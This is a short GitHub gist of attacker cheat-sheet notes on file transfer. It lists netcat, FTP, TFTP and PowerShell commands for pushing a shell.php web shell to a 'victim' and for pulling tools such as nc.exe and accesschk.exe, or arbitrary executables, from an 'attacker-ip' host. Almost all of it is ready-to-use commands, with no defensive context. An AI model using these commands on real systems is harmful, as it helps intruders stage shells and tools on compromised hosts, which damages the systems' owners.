Skip to content

Instantly share code, notes, and snippets.

@alexandercastillo1
Created August 11, 2018 14:42
Show Gist options
  • Save alexandercastillo1/168f9c9a0fe0f5fc0d045c86d7ecb2d8 to your computer and use it in GitHub Desktop.
Save alexandercastillo1/168f9c9a0fe0f5fc0d045c86d7ecb2d8 to your computer and use it in GitHub Desktop.
MovingDataThatWorks
nc
Victim: nc -lvp listeningport > shell.php
Attacker: nc target-ip listeningport < shell.php
FTP
Attacker: python -m pyftpdlib -w -p 21
Victim: ftp attacker-ip - anonymous - anonymous - put or get
FTP (non-interactive)
echo open attacker-ip>ftp.txt
echo anonymous>> ftp.txt
echo anonymous>> ftp.txt
echo binary>> ftp.txt
echo get accesschk.exe>> ftp.txt
echo quit>> ftp.txt
echo bye>> ftp.txt
ftp -s:ftp.txt
TFTP
Attacker
atftpd --daemon --port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/
Victim
tftp -i attacker-ip get nc.exe
PowerShell
$storageDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = "http://attacker-ip/filename.exe"
$file = "newfilename.exe"
$webclient.DownloadFile($url,$file)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment